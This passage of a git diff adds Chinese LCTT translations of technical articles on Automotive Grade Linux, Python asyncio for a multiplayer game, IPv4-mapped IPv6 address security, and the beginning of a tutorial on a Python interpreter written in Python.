https://blog.vellumatlanta.com/2016/05/04/apple-stole-my-music-no-seriously/ +[4]: https://www.airdroid.com/ +[5]: http://tasker.dinglisch.net/ +[6]: https://support.google.com/nexus/answer/2819582?hl=en +[7]: https://play.google.com/store/apps/details?id=com.koushikdutta.backup&hl=en +[8]: http://www.libimobiledevice.org/ + diff --git a/published/201609/20160516 Linux will be the major operating system of 21st century cars.md b/published/201609/20160516 Linux will be the major operating system of 21st century cars.md new file mode 100644 index 0000000000..08a96d56c9 --- /dev/null +++ b/published/201609/20160516 Linux will be the major operating system of 21st century cars.md @@ -0,0 +1,39 @@ +Linux 将成为 21 世纪汽车的主要操作系统 +=============================================================== + +> 汽车可不单单是由引擎和华丽外壳组成的,汽车里还有许许多多的计算部件,而 Linux 就在它们里面跑着。 + +Linux 不只运行在你的服务器和手机(安卓)上。它还运行在你的车里。当然了,没人会因为某个车载系统而去买辆车。但是 Linux 已经为像丰田、日产、捷豹路虎这些大型汽车制造商提供了信息娱乐系统、平视显示以及其联网汽车(connected car)的 4G 与 Wi-Fi 系统,而且 [Linux 即将登陆福特汽车][1]、马自达、三菱、斯巴鲁。 + +![](http://zdnet4.cbsistatic.com/hub/i/2016/05/10/743f0c14-6458-4d1e-8723-d2d94d0d0e69/c297b7d52e27e97d8721d4cb46bb371b/agl-logo.jpg) + +*如今,所有的 Linux 和开源汽车软件的成果都已经在 Linux 基金会的 Automotive Grade Linux (AGL)项目下统一标准化了。* + +传统软件公司也进入了移动物联网领域。 Movimento、甲骨文、高通、Texas Instruments、UIEvolution 和 VeriSilicon 都已经[加入 Automotive Grade Linux(AGL)项目][2]。 [AGL][3] 是一个相互协作的开源项目,志在于为联网汽车打造一个基于 Linux 的通用软件栈。 + +“随着联网汽车技术和信息娱乐系统需求的快速增长,AGL 过去几年中得到了极大的发展,” Linux 基金会汽车总经理 Dan Cauchy 如是说。 + +Cauchy 又补充道,“我们的会员基础不单单只是迅速壮大,而且通过横跨不同的业界实现了多元化,从半导体和车载软件到 IoT 和连接云服务。这是一个明显的迹象,即联网汽车的革命已经间接影响到许多行业纵向市场。” + +这些公司在 AGL 发布了新的 AGL Unified Code Base (UCB) 之后加入了 AGL 项目。这个新的 Linux 发行版基于 AGL 和另外两个汽车开源项目: [Tizen][4] 和 [GENIVI Alliance][5] 。 UCB 是第二代 Linux 汽车系统。它从底层开始开发,一直到特定的汽车应用软件。它能处理导航、通信、安全、安保和信息娱乐系统。 + +“汽车行业需要一个标准的开源系统和框架来让汽车制造商和供应商能够快速地将类似智能手机的功能带入到汽车中来。” Cauchy 说。“这个新的发行版将 AGL、Tizen、GENIVI 项目和相关开源代码中的精华部分整合进 AGL Unified Code Base (UCB)中,使得汽车制造商能够利用一个通用平台进行快速创新。 在汽车中采用基于 Linux 的系统来实现所有功能时, AGL 的 UCB 发行版将扮演一个重大的角色。” + +他说得对。自从 2016 年 1 月发布以来,已有四个汽车公司和十个新的软件厂商加入了 AGL。Esso,如今的 Exxon, 曾让 “把老虎装入油箱” 这条广告语出了名。我怀疑 “把企鹅装到引擎盖下” 这样的广告语是否也会变得家喻户晓,但是它却道出了事实。 Linux 正在慢慢成为 21 世纪汽车的主要操作系统。 + +------------------------------------------------------------------------------ + +via: http://www.zdnet.com/article/the-linux-in-your-car-movement-gains-momentum/ + +作者:[Steven J. Vaughan-Nichols][a] +译者:[XLCYun](https://github.com/XLCYun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.zdnet.com/meet-the-team/us/steven-j-vaughan-nichols/ +[1]: https://www.automotivelinux.org/news/announcement/2016/01/ford-mazda-mitsubishi-motors-and-subaru-join-linux-foundation-and +[2]: https://www.automotivelinux.org/news/announcement/2016/05/oracle-qualcomm-innovation-center-texas-instruments-and-others-support +[3]: https://www.automotivelinux.org/ +[4]: https://www.tizen.org/ +[5]: http://www.genivi.org/ diff --git a/published/201609/20160524 Writing online multiplayer game with python and asyncio - part 1.md b/published/201609/20160524 Writing online multiplayer game with python and asyncio - part 1.md new file mode 100644 index 0000000000..4bc91af85f --- /dev/null +++ b/published/201609/20160524 Writing online multiplayer game with python and asyncio - part 1.md @@ -0,0 +1,74 @@ +使用 Python 和 Asyncio 编写在线多人游戏(一) +=================================================================== + +你在 Python 中用过异步编程吗?本文中我会告诉你怎样做,而且用一个[能工作的例子][1]来展示它:这是一个流行的贪吃蛇游戏,而且是为多人游戏而设计的。 + +- [游戏入口在此,点此体验][2]。 + +###1、简介 + +在技术和文化领域,大规模多人在线游戏(MMO)毋庸置疑是我们当今世界的潮流之一。很长时间以来,为一个 MMO 游戏写一个服务器这件事总是会涉及到大量的预算与复杂的底层编程技术,不过在最近这几年,事情迅速发生了变化。基于动态语言的现代框架允许在中档的硬件上面处理大量并发的用户连接。同时,HTML5 和 WebSockets 标准使得创建基于实时图形的游戏的直接运行至浏览器上的客户端成为可能,而不需要任何的扩展。 + +对于创建可扩展的非堵塞性的服务器来说,Python 可能不是最受欢迎的工具,尤其是和在这个领域里最受欢迎的 Node.js 相比而言。但是最近版本的 Python 正在改变这种现状。[asyncio][3] 的引入和一个特别的 [async/await][4] 语法使得异步代码看起来像常规的阻塞代码一样,这使得 Python 成为了一个值得信赖的异步编程语言,所以我将尝试利用这些新特点来创建一个多人在线游戏。 + +###2、异步 + +一个游戏服务器应该可以接受尽可能多的用户并发连接,并实时处理这些连接。一个典型的解决方案是创建线程,然而在这种情况下并不能解决这个问题。运行上千的线程需要 CPU 在它们之间不停的切换(这叫做上下文切换),这将导致开销非常大,效率很低下。更糟糕的是使用进程来实现,因为,不但如此,它们还会占用大量的内存。在 Python 中,甚至还有一个问题,Python 的解释器(CPython)并不是针对多线程设计的,相反它主要针对于单线程应用实现最大的性能。这就是为什么它使用 GIL(global interpreter lock),这是一个不允许同时运行多线程 Python 代码的架构,以防止同一个共享对象出现使用不可控。正常情况下,在当前线程正在等待的时候,解释器会转换到另一个线程,通常是等待一个 I/O 的响应(举例说,比如等待 Web 服务器的响应)。这就允许在你的应用中实现非阻塞 I/O 操作,因为每一个操作仅仅阻塞一个线程而不是阻塞整个服务器。然而,这也使得通常的多线程方案变得几近无用,因为它不允许你并发执行 Python 代码,即使是在多核心的 CPU 上也是这样。而与此同时,在一个单一线程中拥有非阻塞 I/O 是完全有可能的,因而消除了经常切换上下文的需要。 + +实际上,你可以用纯 Python 代码来实现一个单线程的非阻塞 I/O。你所需要的只是标准的 [select][5] 模块,这个模块可以让你写一个事件循环来等待未阻塞的 socket 的 I/O。然而,这个方法需要你在一个地方定义所有 app 的逻辑,用不了多久,你的 app 就会变成非常复杂的状态机。有一些框架可以简化这个任务,比较流行的是 [tornade][6] 和 [twisted][7]。它们被用来使用回调方法实现复杂的协议(这和 Node.js 比较相似)。这种框架运行在它自己的事件循环中,按照定义的事件调用你的回调函数。并且,这或许是一些情况的解决方案,但是它仍然需要使用回调的方式编程,这使你的代码变得碎片化。与写同步代码并且并发地执行多个副本相比,这就像我们在普通的线程上做的一样。在单个线程上这为什么是不可能的呢? + +这就是为什么出现微线程(microthread)概念的原因。这个想法是为了在一个线程上并发执行任务。当你在一个任务中调用阻塞的方法时,有一个叫做“manager” (或者“scheduler”)的东西在执行事件循环。当有一些事件准备处理的时候,一个 manager 会转移执行权给一个任务,并等着它执行完毕。任务将一直执行,直到它遇到一个阻塞调用,然后它就会将执行权返还给 manager。 + +> 微线程也称为轻量级线程(lightweight threads)或绿色线程(green threads)(来自于 Java 中的一个术语)。在伪线程中并发执行的任务叫做 tasklets、greenlets 或者协程(coroutines)。 + + Python 中的微线程最早的实现之一是 [Stackless Python][8]。它之所以这么知名是因为它被用在了一个叫 [EVE online][9] 的非常有名的在线游戏中。这个 MMO 游戏自称说在一个持久的“宇宙”中,有上千个玩家在做不同的活动,这些都是实时发生的。Stackless 是一个独立的 Python 解释器,它代替了标准的函数栈调用,并且直接控制程序运行流程来减少上下文切换的开销。尽管这非常有效,这个解决方案不如在标准解释器中使用“软”库更流行,像 [eventlet][10] 和 [gevent][11] 的软件包配备了修补过的标准 I/O 库,I/O 函数会将执行权传递到内部事件循环。这使得将正常的阻塞代码转变成非阻塞的代码变得简单。这种方法的一个缺点是从代码上看这并不分明,它的调用是非阻塞的。新版本的 Python 引入了本地协程作为生成器的高级形式。在 Python 的 3.4 版本之后,引入了 asyncio 库,这个库依赖于本地协程来提供单线程并发。但是仅仅到了 Python 3.5 ,协程就变成了 Python 语言的一部分,使用新的关键字 async 和 await 来描述。这是一个简单的例子,演示了使用 asyncio 来运行并发任务。 + +``` +import asyncio + +async def my_task(seconds): + print("start sleeping for {} seconds".format(seconds)) + await asyncio.sleep(seconds) + print("end sleeping for {} seconds".format(seconds)) + +all_tasks = asyncio.gather(my_task(1), my_task(2)) +loop = asyncio.get_event_loop() +loop.run_until_complete(all_tasks) +loop.close() +``` + +我们启动了两个任务,一个睡眠 1 秒钟,另一个睡眠 2 秒钟,输出如下: + +``` +start sleeping for 1 seconds +start sleeping for 2 seconds +end sleeping for 1 seconds +end sleeping for 2 seconds +``` + +正如你所看到的,协程不会阻塞彼此——第二个任务在第一个结束之前启动。这发生的原因是 asyncio.sleep 是协程,它会返回执行权给调度器,直到时间到了。 + +在下一节中,我们将会使用基于协程的任务来创建一个游戏循环。 + +-------------------------------------------------------------------------------- + +via: https://7webpages.com/blog/writing-online-multiplayer-game-with-python-asyncio-getting-asynchronous/ + +作者:[Kyrylo Subbotin][a] +译者:[xinglianfly](https://github.com/xinglianfly) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://7webpages.com/blog/writing-online-multiplayer-game-with-python-asyncio-getting-asynchronous/ +[1]: http://snakepit-game.com/ +[2]: http://snakepit-game.com/ +[3]: https://docs.python.org/3/library/asyncio.html +[4]: https://docs.python.org/3/whatsnew/3.5.html#whatsnew-pep-492 +[5]: https://docs.python.org/2/library/select.html +[6]: http://www.tornadoweb.org/ +[7]: http://twistedmatrix.com/ +[8]: http://www.stackless.com/ +[9]: http://www.eveonline.com/ +[10]: http://eventlet.net/ +[11]: http://www.gevent.org/ diff --git a/published/201609/20160525 Should distributors disable IPv4-mapped IPv6.md b/published/201609/20160525 Should distributors disable IPv4-mapped IPv6.md new file mode 100644 index 0000000000..3566fa3e46 --- /dev/null +++ b/published/201609/20160525 Should distributors disable IPv4-mapped IPv6.md @@ -0,0 +1,59 @@ +Linux 发行版们应该禁用 IPv4 映射的 IPv6 地址吗? +============================================= + +从各方面来看,互联网向 IPv6 的过渡是件很缓慢的事情。不过在最近几年,可能是由于 IPv4 地址资源的枯竭,IPv6 的使用处于[上升态势][1]。相应的,开发者也有兴趣确保软件能在 IPv4 和 IPv6 下工作。但是,正如近期 OpenBSD 邮件列表的讨论所关注的,一个使得向 IPv6 转换更加轻松的机制设计同时也可能导致网络更不安全——并且 Linux 发行版们的默认配置可能并不安全。 + +### 地址映射 + +IPv6 在很多方面看起来可能很像 IPv4,但它是一个不同地址空间的不同的协议。服务器程序想要接受使用二者之中任意一个协议的连接,必须给两个不同的地址族分别打开一个套接字——IPv4 的 `AF_INET` 和 IPv6 的 `AF_INET6`。特别是一个程序希望在主机的使用两种地址协议的任意接口都接受连接的话,需要创建一个绑定到全零通配符地址(`0.0.0.0`)的 `AF_INET` 套接字和一个绑定到 IPv6 等效地址(写作 `::`)的 `AF_INET6` 套接字。它必须在两个套接字上都监听连接——或者有人会这么认为。 + +多年前,在 [RFC 3493][2],IETF 指定了一个机制,程序可以使用一个单独的 IPv6 套接字工作在两个协议之上。有了一个启用这个行为的套接字,程序只需要绑定到 `::` 来在所有接口上接受使用这两个协议连接。当创建了一个 IPv4 连接到该绑定端口,源地址会像 [RFC 2373][3] 中描述的那样映射到 IPv6。所以,举个例子,一个使用了这个模式的程序会将一个 `192.168.1.1` 的传入连接看作来自 `::ffff:192.168.1.1`(这个混合的写法就是这种地址通常的写法)。程序也能通过相同的映射方法打开一个到 IPv4 地址的连接。 + +RFC 要求这个行为要默认实现,所以大多数系统这么做了。不过也有些例外,OpenBSD 就是其中之一;在那里,希望在两种协议下工作的程序能做的只能是创建两个独立的套接字。但一个在 Linux 中打开两个套接字的程序会遇到麻烦:IPv4 和 IPv6 套接字都会尝试绑定到 IPv4 地址,所以不论是哪个后者都会失败。换句话说,一个绑定到 `::` 指定端口的套接字的程序会同时绑定到 IPv6 `::` 和 IPv4 `0.0.0.0` 地址的那个端口上。如果程序之后尝试绑定一个 IPv4 套接字到 `0.0.0.0` 的相同端口上时,这个操作会失败,因为这个端口已经被绑定了。 + +当然有个办法可以解决这个问题;程序可以调用 `setsockopt()` 来打开 `IPV6_V6ONLY` 选项。一个打开两个套接字并且设置了 `IPV6_V6ONLY` 的程序应该可以在所有的系统间移植。 + +读者们可能对不是每个程序都能正确处理这一问题没那么震惊。事实证明,这些程序的其中之一是网络时间协议(Network Time Protocol)的 [OpenNTPD][4] 实现。Brent Cook 最近给上游 OpenNTPD 源码[提交了一个小补丁][5],添加了必要的 `setsockopt()` 调用,它也被提交到了 OpenBSD 中了。不过那个补丁看起来不大可能被接受,最可能是因为 OpenBSD 式的理由(LCTT 译注:如前文提到的,OpenBSD 并不受这个问题的影响)。 + +### 安全担忧 + +正如上文所提到,OpenBSD 根本不支持 IPv4 映射的 IPv6 套接字。即使一个程序试着通过将 `IPV6_V6ONLY` 选项设置为 0 显式地启用地址映射,它的作者会感到沮丧,因为这个设置在 OpenBSD 系统中无效。这个决定背后的原因是这个映射带来了一些安全担忧。攻击打开的接口的攻击类型有很多种,但它们最后都会回到规定的两个途径到达相同的端口,每个端口都有它自己的控制规则。 + +任何给定的服务器系统可能都设置了防火墙规则,描述端口的允许访问权限。也许还会有适当的机制,比如 TCP wrappers 或一个基于 BPF 的过滤器,或一个网络上的路由器可以做连接状态协议过滤。结果可能是导致防火墙保护和潜在的所有类型的混乱连接之间的缺口导致同一 IPv4 地址可以通过两个不同的协议到达。如果地址映射是在网络边界完成的,情况甚至会变得更加复杂;参看[这个 2003 年的 RFC 草案][6],它描述了如果映射地址在主机之间传播,一些随之而来的其它攻击场景。 + +改变系统和软件正确地处理 IPv4 映射的 IPv6 地址当然可以实现。但那增加了系统的整体复杂度,并且可以确定这个改动没有实际地完整实现到它应该实现的范围内。如同 Theo de Raadt [说的][7]: + +> **有时候人们将一个糟糕的想法放进了 RFC。之后他们发现这个想法是不可能的就将它丢回垃圾箱了。结果就是概念变得如此复杂,每个人都得在管理和编码方面是个全职专家。** + +我们也根本不清楚这些全职专家有多少在实际配置使用 IPv4 映射的 IPv6 地址的系统和网络。 + +有人可能会说,尽管 IPv4 映射的 IPv6 地址造成了安全危险,更改一下程序让它在实现了地址映射的系统上关闭地址映射应该没什么危害。但 Theo [认为][8]不应该这么做,有两个理由。第一个是有许多破旧的程序,它们永远不会被修复。而实际的原因是给发行版们施加压力去默认关闭地址映射。正如他说的:“**最终有人会理解这个危害是系统性的,并更改系统默认行为使之‘secure by default’**。” + +### Linux 上的地址映射 + +在 Linux 系统,地址映射由一个叫做 `net.ipv6.bindv6only` 的 sysctl 开关控制;它默认设置为 0(启用地址映射)。管理员(或发行版们)可以通过将它设置为 1 来关闭地址映射,但在部署这样一个系统到生产环境之前最好确认软件都能正常工作。一个快速调查显示没有哪个主要发行版改变这个默认值;Debian 在 2009 年的 “squeeze” 中[改变了这个默认值][9],但这个改动破坏了足够多的软件包(比如[任何包含 Java 的程序][10]),[在经过了几次的 Debian 式的讨论之后][11],它恢复到了原来的设置。看上去不少程序依赖于默认启用地址映射。 + +OpenBSD 有以“secure by default”的名义打破其核心系统之外的东西的传统;而 Linux 发行版们则更倾向于难以作出这样的改变。所以那些一般不愿意收到他们用户的不满的发行版们,不太可能很快对 bindv6only 的默认设置作出改变。好消息是这个功能作为默认已经很多年了,但很难找到被利用的例子。但是,正如我们都知道的,谁都无法保证这样的利用不可能发生。 + +-------------------------------------------------------------------------------- + +via: https://lwn.net/Articles/688462/ + +作者:[Jonathan Corbet][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://lwn.net/ +[1]: https://www.google.com/intl/en/ipv6/statistics.html +[2]: https://tools.ietf.org/html/rfc3493#section-3.7 +[3]: https://tools.ietf.org/html/rfc2373#page-10 +[4]: https://github.com/openntpd-portable/ +[5]: https://lwn.net/Articles/688464/ +[6]: https://tools.ietf.org/html/draft-itojun-v6ops-v4mapped-harmful-02 +[7]: https://lwn.net/Articles/688465/ +[8]: https://lwn.net/Articles/688466/ +[9]: https://lists.debian.org/debian-devel/2009/10/msg00541.html +[10]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=560056 +[11]: https://lists.debian.org/debian-devel/2010/04/msg00099.html diff --git a/published/201609/20160527 A Python Interpreter Written in Python.md b/published/201609/20160527 A Python Interpreter Written in Python.md new file mode 100644 index 0000000000..18c2feedd7 --- /dev/null +++ b/published/201609/20160527 A Python Interpreter Written in Python.md @@ -0,0 +1,991 @@ +用 Python 实现 Python 解释器 +=== + +_Allison 是 Dropbox 的工程师,在那里她维护着这个世界上最大的 Python 客户端网络之一。在去 Dropbox 之前,她是 Recurse Center 的协调人, 是这个位于纽约的程序员深造机构的作者。她在北美的 PyCon 做过关于 Python 内部机制的演讲,并且她喜欢研究奇怪的 bug。她的博客地址是 [akaptur.com](http://akaptur.com)。_ + +### 介绍 + +Byterun 是一个用 Python 实现的 Python 解释器。随着我对 Byterun 的开发,我惊喜地的发现,这个 Python 解释器的基础结构用 500 行代码就能实现。在这一章我们会搞清楚这个解释器的结构,给你足够探索下去的背景知识。我们的目标不是向你展示解释器的每个细节---像编程和计算机科学其他有趣的领域一样,你可能会投入几年的时间去深入了解这个主题。 + +Byterun 是 Ned Batchelder 和我完成的,建立在 Paul Swartz 的工作之上。它的结构和主要的 Python 实现(CPython)差不多,所以理解 Byterun 会帮助你理解大多数解释器,特别是 CPython 解释器。(如果你不知道你用的是什么 Python,那么很可能它就是 CPython)。尽管 Byterun 很小,但它能执行大多数简单的 Python 程序(这一章是基于 Python 3.5 及其之前版本生成的字节码的,在 Python 3.6 中生成的字节码有一些改变)。 + +#### Python 解释器 + +在开始之前,让我们限定一下“Pyhton 解释器”的意思。在讨论 Python 的时候,“解释器”这个词可以用在很多不同的地方。有的时候解释器指的是 Python REPL,即当你在命令行下敲下 `python` 时所得到的交互式环境。有时候人们会或多或少的互换使用 “Python 解释器”和“Python”来说明从头到尾执行 Python 代码的这一过程。在本章中,“解释器”有一个更精确的意思:Python 程序的执行过程中的最后一步。 + +在解释器接手之前,Python 会执行其他 3 个步骤:词法分析,语法解析和编译。这三步合起来把源代码转换成代码对象(code object),它包含着解释器可以理解的指令。而解释器的工作就是解释代码对象中的指令。 + +你可能很奇怪执行 Python 代码会有编译这一步。Python 通常被称为解释型语言,就像 Ruby,Perl 一样,它们和像 C,Rust 这样的编译型语言相对。然而,这个术语并不是它看起来的那样精确。大多数解释型语言包括 Python 在内,确实会有编译这一步。而 Python 被称为解释型的原因是相对于编译型语言,它在编译这一步的工作相对较少(解释器做相对多的工作)。在这章后面你会看到,Python 的编译器比 C 语言编译器需要更少的关于程序行为的信息。 + +#### Python 的 Python 解释器 + +Byterun 是一个用 Python 写的 Python 解释器,这点可能让你感到奇怪,但没有比用 C 语言写 C 语言编译器更奇怪的了。(事实上,广泛使用的 gcc 编译器就是用 C 语言本身写的)你可以用几乎任何语言写一个 Python 解释器。 + +用 Python 写 Python 既有优点又有缺点。最大的缺点就是速度:用 Byterun 执行代码要比用 CPython 执行慢的多,CPython 解释器是用 C 语言实现的,并做了认真优化。然而 Byterun 是为了学习而设计的,所以速度对我们不重要。使用 Python 最大优势是我们可以*仅仅*实现解释器,而不用担心 Python 运行时部分,特别是对象系统。比如当 Byterun 需要创建一个类时,它就会回退到“真正”的 Python。另外一个优势是 Byterun 很容易理解,部分原因是它是用人们很容易理解的高级语言写的(Python !)(另外我们不会对解释器做优化 --- 再一次,清晰和简单比速度更重要) + +### 构建一个解释器 + +在我们考察 Byterun 代码之前,我们需要从高层次对解释器结构有一些了解。Python 解释器是如何工作的? + +Python 解释器是一个虚拟机(virtual machine),是一个模拟真实计算机的软件。我们这个虚拟机是栈机器(stack machine),它用几个栈来完成操作(与之相对的是寄存器机器(register machine),它从特定的内存地址读写数据)。 + +Python 解释器是一个字节码解释器(bytecode interpreter):它的输入是一些称作字节码(bytecode)的指令集。当你写 Python 代码时,词法分析器、语法解析器和编译器会生成代码对象(code object)让解释器去操作。每个代码对象都包含一个要被执行的指令集 —— 它就是字节码 —— 以及还有一些解释器需要的信息。字节码是 Python 代码的一个中间层表示( intermediate representation):它以一种解释器可以理解的方式来表示源代码。这和汇编语言作为 C 语言和机器语言的中间表示很类似。 + +#### 微型解释器 + +为了让说明更具体,让我们从一个非常小的解释器开始。它只能计算两个数的和,只能理解三个指令。它执行的所有代码只是这三个指令的不同组合。下面就是这三个指令: + +- `LOAD_VALUE` +- `ADD_TWO_VALUES` +- `PRINT_ANSWER` + +我们不关心词法、语法和编译,所以我们也不在乎这些指令集是如何产生的。你可以想象,当你写下 `7 + 5`,然后一个编译器为你生成那三个指令的组合。如果你有一个合适的编译器,你甚至可以用 Lisp 的语法来写,只要它能生成相同的指令。 + +假设 + +```python +7 + 5 +``` + +生成这样的指令集: + +```python +what_to_execute = { + "instructions": [("LOAD_VALUE", 0), # the first number + ("LOAD_VALUE", 1), # the second number + ("ADD_TWO_VALUES", None), + ("PRINT_ANSWER", None)], + "numbers": [7, 5] } +``` + +Python 解释器是一个栈机器(stack machine),所以它必须通过操作栈来完成这个加法(见下图)。解释器先执行第一条指令,`LOAD_VALUE`,把第一个数压到栈中。接着它把第二个数也压到栈中。然后,第三条指令,`ADD_TWO_VALUES`,先把两个数从栈中弹出,加起来,再把结果压入栈中。最后一步,把结果弹出并输出。 + +![栈机器](http://aosabook.org/en/500L/interpreter-images/interpreter-stack.png) + +`LOAD_VALUE`这条指令告诉解释器把一个数压入栈中,但指令本身并没有指明这个数是多少。指令需要一个额外的信息告诉解释器去哪里找到这个数。所以我们的指令集有两个部分:指令本身和一个常量列表。(在 Python 中,字节码就是我们所称的“指令”,而解释器“执行”的是代码对象。) + +为什么不把数字直接嵌入指令之中?想象一下,如果我们加的不是数字,而是字符串。我们可不想把字符串这样的东西加到指令中,因为它可以有任意的长度。另外,我们这种设计也意味着我们只需要对象的一份拷贝,比如这个加法 `7 + 7`, 现在常量表 `"numbers"`只需包含一个`[7]`。 + +你可能会想为什么会需要除了`ADD_TWO_VALUES`之外的指令。的确,对于我们两个数加法,这个例子是有点人为制作的意思。然而,这个指令却是建造更复杂程序的轮子。比如,就我们目前定义的三个指令,只要给出正确的指令组合,我们可以做三个数的加法,或者任意个数的加法。同时,栈提供了一个清晰的方法去跟踪解释器的状态,这为我们增长的复杂性提供了支持。 + +现在让我们来完成我们的解释器。解释器对象需要一个栈,它可以用一个列表来表示。它还需要一个方法来描述怎样执行每条指令。比如,`LOAD_VALUE`会把一个值压入栈中。 + +```python +class Interpreter: + def __init__(self): + self.stack = [] + + def LOAD_VALUE(self, number): + self.stack.append(number) + + def PRINT_ANSWER(self): + answer = self.stack.pop() + print(answer) + + def ADD_TWO_VALUES(self): + first_num = self.stack.pop() + second_num = self.stack.pop() + total = first_num + second_num + self.stack.append(total) +``` + +这三个方法完成了解释器所理解的三条指令。但解释器还需要一样东西:一个能把所有东西结合在一起并执行的方法。这个方法就叫做 `run_code`,它把我们前面定义的字典结构 `what-to-execute` 作为参数,循环执行里面的每条指令,如果指令有参数就处理参数,然后调用解释器对象中相应的方法。 + +```python + def run_code(self, what_to_execute): + instructions = what_to_execute["instructions"] + numbers = what_to_execute["numbers"] + for each_step in instructions: + instruction, argument = each_step + if instruction == "LOAD_VALUE": + number = numbers[argument] + self.LOAD_VALUE(number) + elif instruction == "ADD_TWO_VALUES": + self.ADD_TWO_VALUES() + elif instruction == "PRINT_ANSWER": + self.PRINT_ANSWER() +``` + +为了测试,我们创建一个解释器对象,然后用前面定义的 7 + 5 的指令集来调用 `run_code`。 + +```python + interpreter = Interpreter() + interpreter.run_code(what_to_execute) +``` + +显然,它会输出12。 + +尽管我们的解释器功能十分受限,但这个过程几乎和真正的 Python 解释器处理加法是一样的。这里,我们还有几点要注意。 + +首先,一些指令需要参数。在真正的 Python 字节码当中,大概有一半的指令有参数。像我们的例子一样,参数和指令打包在一起。注意指令的参数和传递给对应方法的参数是不同的。 + +第二,指令`ADD_TWO_VALUES`不需要任何参数,它从解释器栈中弹出所需的值。这正是以基于栈的解释器的特点。 + +记得我们说过只要给出合适的指令集,不需要对解释器做任何改变,我们就能做多个数的加法。考虑下面的指令集,你觉得会发生什么?如果你有一个合适的编译器,什么代码才能编译出下面的指令集? + +```python + what_to_execute = { + "instructions": [("LOAD_VALUE", 0), + ("LOAD_VALUE", 1), + ("ADD_TWO_VALUES", None), + ("LOAD_VALUE", 2), + ("ADD_TWO_VALUES", None), + ("PRINT_ANSWER", None)], + "numbers": [7, 5, 8] } +``` + +从这点出发,我们开始看到这种结构的可扩展性:我们可以通过向解释器对象增加方法来描述更多的操作(只要有一个编译器能为我们生成组织良好的指令集就行)。 + +##### 变量 + +接下来给我们的解释器增加变量的支持。我们需要一个保存变量值的指令 `STORE_NAME`;一个取变量值的指令`LOAD_NAME`;和一个变量到值的映射关系。目前,我们会忽略命名空间和作用域,所以我们可以把变量和值的映射直接存储在解释器对象中。最后,我们要保证`what_to_execute`除了一个常量列表,还要有个变量名字的列表。 + +```python +>>> def s(): +... a = 1 +... b = 2 +... print(a + b) +# a friendly compiler transforms `s` into: + what_to_execute = { + "instructions": [("LOAD_VALUE", 0), + ("STORE_NAME", 0), + ("LOAD_VALUE", 1), + ("STORE_NAME", 1), + ("LOAD_NAME", 0), + ("LOAD_NAME", 1), + ("ADD_TWO_VALUES", None), + ("PRINT_ANSWER", None)], + "numbers": [1, 2], + "names": ["a", "b"] } +``` + +我们的新的实现在下面。为了跟踪哪个名字绑定到哪个值,我们在`__init__`方法中增加一个`environment`字典。我们也增加了`STORE_NAME`和`LOAD_NAME`方法,它们获得变量名,然后从`environment`字典中设置或取出这个变量值。 + +现在指令的参数就有两个不同的意思,它可能是`numbers`列表的索引,也可能是`names`列表的索引。解释器通过检查所执行的指令就能知道是那种参数。而我们打破这种逻辑 ,把指令和它所用何种参数的映射关系放在另一个单独的方法中。 + +```python +class Interpreter: + def __init__(self): + self.stack = [] + self.environment = {} + + def STORE_NAME(self, name): + val = self.stack.pop() + self.environment[name] = val + + def LOAD_NAME(self, name): + val = self.environment[name] + self.stack.append(val) + + def parse_argument(self, instruction, argument, what_to_execute): + """ Understand what the argument to each instruction means.""" + numbers = ["LOAD_VALUE"] + names = ["LOAD_NAME", "STORE_NAME"] + + if instruction in numbers: + argument = what_to_execute["numbers"][argument] + elif instruction in names: + argument = what_to_execute["names"][argument] + + return argument + + def run_code(self, what_to_execute): + instructions = what_to_execute["instructions"] + for each_step in instructions: + instruction, argument = each_step + argument = self.parse_argument(instruction, argument, what_to_execute) + + if instruction == "LOAD_VALUE": + self.LOAD_VALUE(argument) + elif instruction == "ADD_TWO_VALUES": + self.ADD_TWO_VALUES() + elif instruction == "PRINT_ANSWER": + self.PRINT_ANSWER() + elif instruction == "STORE_NAME": + self.STORE_NAME(argument) + elif instruction == "LOAD_NAME": + self.LOAD_NAME(argument) +``` + +仅仅五个指令,`run_code`这个方法已经开始变得冗长了。如果保持这种结构,那么每条指令都需要一个`if`分支。这里,我们要利用 Python 的动态方法查找。我们总会给一个称为`FOO`的指令定义一个名为`FOO`的方法,这样我们就可用 Python 的`getattr`函数在运行时动态查找方法,而不用这个大大的分支结构。`run_code`方法现在是这样: + +```python + def execute(self, what_to_execute): + instructions = what_to_execute["instructions"] + for each_step in instructions: + instruction, argument = each_step + argument = self.parse_argument(instruction, argument, what_to_execute) + bytecode_method = getattr(self, instruction) + if argument is None: + bytecode_method() + else: + bytecode_method(argument) +``` + +### 真实的 Python 字节码 + +现在,放弃我们的小指令集,去看看真正的 Python 字节码。字节码的结构和我们的小解释器的指令集差不多,除了字节码用一个字节而不是一个名字来代表这条指令。为了理解它的结构,我们将考察一个函数的字节码。考虑下面这个例子: + +```python +>>> def cond(): +... x = 3 +... if x < 5: +... return 'yes' +... else: +... return 'no' +... +``` + +Python 在运行时会暴露一大批内部信息,并且我们可以通过 REPL 直接访问这些信息。对于函数对象`cond`,`cond.__code__`是与其关联的代码对象,而`cond.__code__.co_code`就是它的字节码。当你写 Python 代码时,你永远也不会想直接使用这些属性,但是这可以让我们做出各种恶作剧,同时也可以看看内部机制。 + +```python +>>> cond.__code__.co_code # the bytecode as raw bytes +b'd\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x00\x00r\x16\x00d\x03\x00Sd\x04\x00Sd\x00 + \x00S' +>>> list(cond.__code__.co_code) # the bytecode as numbers +[100, 1, 0, 125, 0, 0, 124, 0, 0, 100, 2, 0, 107, 0, 0, 114, 22, 0, 100, 3, 0, 83, + 100, 4, 0, 83, 100, 0, 0, 83] +``` + +当我们直接输出这个字节码,它看起来完全无法理解 —— 唯一我们了解的是它是一串字节。很幸运,我们有一个很强大的工具可以用:Python 标准库中的`dis`模块。 + 